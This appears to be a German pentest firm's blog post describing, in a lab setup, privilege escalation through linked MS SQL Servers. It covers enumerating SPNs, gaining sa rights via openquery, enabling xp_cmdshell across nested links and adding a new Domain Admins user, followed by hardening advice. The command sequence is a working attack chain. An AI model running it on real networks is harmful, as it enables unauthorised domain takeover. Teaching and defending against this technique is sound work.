Linked SQL-Server – Privilege Escalation

Bei unseren internen Penetration Tests finden wir häufig Zugangsdaten für unprivilegierte Benutzerkonten. Je nach Umgebung können wir uns dann auf einen Client im Netzwerk anmelden. Manchmal ist es nicht möglich. Dann müssen wir uns einen anderen Weg suchen, um weiterzukommen. Vor kurzem war es mal wieder so weit. Wir erlangten Zugriff auf ein Benutzerkonto und mussten einen Weg finden, um dieses zu verwenden. Beim Netzwerkscan entdeckten wir eine Vielzahl von SQL-Servern. In einer Active Directory Umgebung kann sich standardmässig jedes Benutzerkonto auf einem SQL-Server anmelden.

Um die Problematik aufzuzeigen, habe ich eine Testumgebung mit zwei SQL-Servern, einem Domain Controller und einem Client aufgesetzt.

Testumgebung

Bei der Suche im Netzwerk finden wir zwei SQL-Server. Standardmässig kann jeder Domänen Benutzer sich mit SQL-Server in der Domäne verbinden.

setspn -Q MSSQLSVC/*

SPNs abfragen

Ein Versuch, sich mit den zwei SQL-Servern zu verbinden, bestätigt, dass wir uns mit beiden verbinden können. Wir haben jedoch auf beiden nur einen Gastzugriff.

SELECT SYSTEM_USER as SystemUser, USER_NAME() as DBUser;

AP01, Berechtigungen

Eine weitere Analyse der SQL-Server zeigt, dass beide SQL-Server miteinander verlinkt sind. Dadurch ist der Zugriff über den einen SQL-Server auf den anderen möglich (AP01 auf AP02 und AP02 auf AP01). Je nach Konfiguration haben die SQL-Server untereinander andere Berechtigungen als die Benutzer auf die SQL-Server.

EXEC sp_linkedservers;

AP01, verlinkte SQL-Server

AP02, verlinkte SQL-Server

Über diesen Link können wir jetzt versuchen, auf den anderen SQL-Server zuzugreifen. Zuerst prüfen wir, welche Berechtigung wir auf dem verlinkten SQL-Server haben.

select mylogin,dblogin from openquery("ap02", 'select SYSTEM_USER as mylogin, USER_NAME() as dblogin')

AP01, Abfrage Berechtigungen

AP02, Abfrage Berechtigungen

Greifen wir über den AP01 auf den AP02 zu, bekommen wir bei der aktuellen Konfiguration die Berechtigung des Datenbankbenutzers sa. Somit haben wir die höchsten Datenbankrechte auf dem Server AP02 . Vom AP02 auf AP01 bleibt unsere Berechtigung gleich.

Da wir nun die höchste Berechtigung auf dem Datenbank Server haben, können wir versuchen, die xp_cmdshell über den Link zu aktivieren. xp_cmdshell ist ein erweiterter gespeicherter Prozedur-Befehl in Microsoft SQL-Server. Dieser Befehl ermöglicht es, beliebige Befehle im Betriebssystem des Servers auszuführen, auf dem der SQL-Server läuft. Das bedeutet, dass man über xp_cmdshell beispielsweise Programme starten, Dateien verwalten oder andere Aktionen durchführen kann, die normalerweise über die Kommandozeile des Betriebssystems ausgeführt werden.

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT ap02
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT ap02

AP01 → AP02, xp_cmdshell Aktivierung

Die Aktivierung war erfolgreich. Nun können wir prüfen, mit welchen Berechtigungen der SQL-Serverdienst läuft.

EXEC ('xp_cmdshell ''whoami /all'';') AT ap02

AP01 → AP02, Service Account Berechtigungen

Dieser wird leider nur mit einem Standard Benutzer ohne besondere Rechte ausgeführt und bringt uns nicht weiter. Bei einer früheren Abfrage haben wir gesehen, dass der AP02 auch über einen Link auf AP01 zugreifen kann. Schauen wir, welche Rechte wir hier haben.

select mylogin from openquery("ap02", 'select mylogin from openquery("ap01", ''select SYSTEM_USER as mylogin'')')

Die Ausgabe bestätigt uns, dass wir hier ebenfalls die höchste Berechtigung haben. Damit können wir versuchen, die xp_cmdshell auf diesen Server zu aktivieren.

EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT ap01') AT ap02
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT ap01') AT ap02
EXEC ('EXEC (''xp_cmdshell ''''whoami /all'''';'') AT ap01') AT ap02

AP01 → AP02 → AP01, Service Account Berechtigungen

Die Aktivierung war erfolgreich, und die Abfrage, mit welchem Benutzeraccount der SQL-Serverdienst ausgeführt wird, zeigt uns, dass dieser mit einem Domänen Administratoraccount ausgeführt wird.

Mit dieser Berechtigung können wir nun einen neuen Benutzer in der Domäne anlegen und in die Gruppe Domain Admins setzen. Dadurch haben wir die höchste Berechtigung in der Domäne erreicht.

EXEC ('EXEC (''xp_cmdshell ''''net user adm_marius Start1234! /add /domain'''';'') AT ap01') AT ap02
EXEC ('EXEC (''xp_cmdshell ''''net group "domain admins" adm_marius /add /domain'''';'') AT ap01') AT ap02

AP01 → AP02 → AP01, Benutzer anlegen

Mit diesem Benutzer können wir uns nun auf dem Domain Controller anmelden.

Anmeldung auf Domain Controller

Fazit

In der heutigen Welt der Cybersicherheit bleiben Attacken auf SQL Server eine Herausforderung. Angreifer verbessern kontinuierlich ihre Methoden, um Sicherheitsvorkehrungen zu überlisten, wobei sie häufig auf Dienste wie SQL Server zurückgreifen. Diese Angriffe sind raffinierter und unauffälliger und nutzen oft unkonventionelle Methoden, um gängige Sicherheitssysteme zu umgehen.

Zur Reduzierung dieser Risiken ist es für Unternehmen essenziell, ihre SQL Server-Konfigurationen zu überprüfen und etablierte Sicherheitspraktiken zu implementieren. Investitionen in Sicherheitssysteme, die Funktionen wie Echtzeitüberwachung, Anomalieerkennung und Verhaltensanalyse bieten, sind ebenfalls wichtig. Diese Systeme können helfen, Angriffe effektiver zu identifizieren und zu bekämpfen, um potenzielle Auswirkungen auf kritische Daten und Systeme zu verringern. Mit proaktiven Sicherheitsstrategien zur Absicherung von SQL Server-Umgebungen können Unternehmen das Risiko, Ziel von Cyberangriffen zu werden, erheblich reduzieren und ihre wertvollen Datenressourcen besser schützen.

Hier ist eine kurze Auflistung mit verschiedenen Massnahmen, um die Wahrscheinlichkeit eines Angriffs auf SQL-Server zu verringern:

  • Analysieren Sie die Verknüpfungen zwischen SQL-Servern und bestimmen Sie die Art der Authentifizierung, die die Verknüpfung bindet. Wenn möglich, verwenden Sie den aktuellen Authentifizierungssicherheitskontext und nicht den Kontext des sa-Accounts.
  • Löschen Sie nicht benötigte Verknüpfungen zwischen den SQL-Servern.
  • Schränken Sie den Zugriff auf die SQL-Server so weit wie möglich ein. Der Zugriff für BUILTIN\Users sollte entfernt werden.
  • Entfernen Sie nicht benötigte SQL-SPNs.
  • Führen Sie die SQL-Serverdienste mit einem Service Account mit den geringstmöglichen Berechtigungen aus. Bei einer Domänenumgebung verwenden Sie idealerweise ein group Managed Service Account (gMSA).
  • Installieren Sie nur die benötigten SQL-Datenbankkomponenten. Entfernen oder deaktivieren Sie nicht benötigte Dienste.

Informationen zum Autor: Marius Hamborgstrøm

Im Jahre 2014 ist es mir gelungen goSecurity von meinem Talent zu überzeugen. Als Experte für Penetration Tests konnte ich schon viele Schwachstellen aufdecken, bevor dies einem Hacker gelungen ist. Zudem bin ich für die Gestaltung und die Durchführung unserer goTraining-Kurse Hack to PROTECT (H2P), Hack to PROTECT [ADVANCED] (H2PA) und Windows Server Hardening (WSH) verantwortlich. Durch meine jahrelange Erfahrung als IT-Leiter einer mittelständischen Bank, kenne ich auch die Seite des Administrators und des IT-Managers in einer Umgebung mit hohen Sicherheitsanforderungen. Aus dieser Erfahrungskiste kann ich die Anforderungen unserer Kunden auch bei Audits und umfassenden Beratungen schnell verstehen und Sie zielgerichtet und praxisnah beraten. Jede Sicherheitslücke bei Ihnen zu finden, bevor dies jemand anderem gelingt, ist leider nicht immer realistisch. Und dennoch ist es mein Antrieb und mein Anspruch.